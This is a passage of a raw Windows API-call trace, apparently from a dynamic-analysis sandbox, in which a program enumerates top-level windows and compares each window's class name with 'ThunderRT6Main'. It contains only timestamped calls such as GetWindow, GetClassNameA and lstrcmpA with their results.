GetClassNameA (in: hWnd=0x10180, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.885] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0099.885] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0099.885] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0099.885] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0099.885] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0099.885] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.885] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0099.885] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0099.885] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0099.885] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0099.886] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0099.886] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.886] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.886] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0099.886] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0099.886] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0099.886] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0099.886] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0099.886] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0099.886] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.886] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.886] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0099.886] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0099.886] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0099.886] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0099.886] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0099.886] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0099.886] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.886] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.886] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0099.886] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0099.887] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0099.887] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0099.887] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0099.887] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.887] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0099.887] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0099.887] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0099.887] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0099.887] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0099.887] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.887] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0099.887] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0099.887] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0099.887] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0099.887] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0099.887] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.887] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0099.887] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0099.887] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0099.887] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0099.887] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0099.887] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.887] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.887] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0099.888] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0099.888] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0099.888] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0099.888] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0099.888] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0099.888] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.888] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.888] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0099.888] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0099.888] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0099.888] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0099.888] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0099.888] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0099.888] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.888] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.888] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0099.888] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0099.888] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0099.888] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0099.888] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0099.888] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0099.888] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0099.888] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0099.888] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0099.888] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0099.888] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0099.888] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0099.888] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0099.888] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0099.888] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0099.888] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0099.889] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0099.889] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0099.889] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0099.889] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0099.889] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.889] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0099.889] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0099.889] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0099.889] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0099.889] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0099.889] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.889] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0099.889] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0099.889] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0099.889] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0099.889] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0099.889] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.889] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0099.889] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0099.889] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.889] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.889] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0099.889] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0099.889] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.890] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0099.890] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0099.890] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.890] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0099.890] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0099.890] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.890] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0099.890] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.890] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0099.890] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.890] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0099.890] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.890] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0099.890] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0099.890] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.890] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0099.890] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0099.890] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0099.890] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0099.890] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0099.891] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.891] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0099.891] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0099.891] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0099.891] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0099.891] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0099.891] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.891] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0099.891] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0099.891] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0099.891] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0099.891] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0099.891] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.891] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0099.891] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0099.891] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.891] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0099.891] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0099.891] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.891] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0099.891] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0099.891] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.891] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.891] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0099.891] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0099.892] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0099.892] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.892] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0099.892] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.892] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0099.892] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0099.892] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.892] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.892] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0099.892] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0099.892] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0099.892] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0099.892] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.892] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0099.892] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0099.892] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.892] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.892] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0099.892] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.892] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.892] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0099.892] GetClassNameA (in: hWnd=0x10110, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="#43") returned 3 [0099.892] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0099.892] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0099.893] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0099.893] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.893] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.893] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0099.893] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0099.893] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0099.893] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0099.893] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.893] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0099.893] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0099.893] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0099.893] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.893] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0099.893] GetClassNameA (in: hWnd=0x10042, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0099.893] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0099.893] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0099.893] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0099.893] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0099.893] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0099.893] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0099.893] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0099.893] GetClassNameA (in: hWnd=0x10048, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0099.893] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0099.893] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0099.893] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0099.893] GetClassNameA (in: hWnd=0x10040, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.893] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.893] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0099.893] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0099.893] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0099.894] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0099.894] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0099.894] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0099.894] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.894] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.894] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0099.894] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0099.894] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0099.894] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0099.894] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0099.894] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0099.894] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0099.894] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0099.894] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: 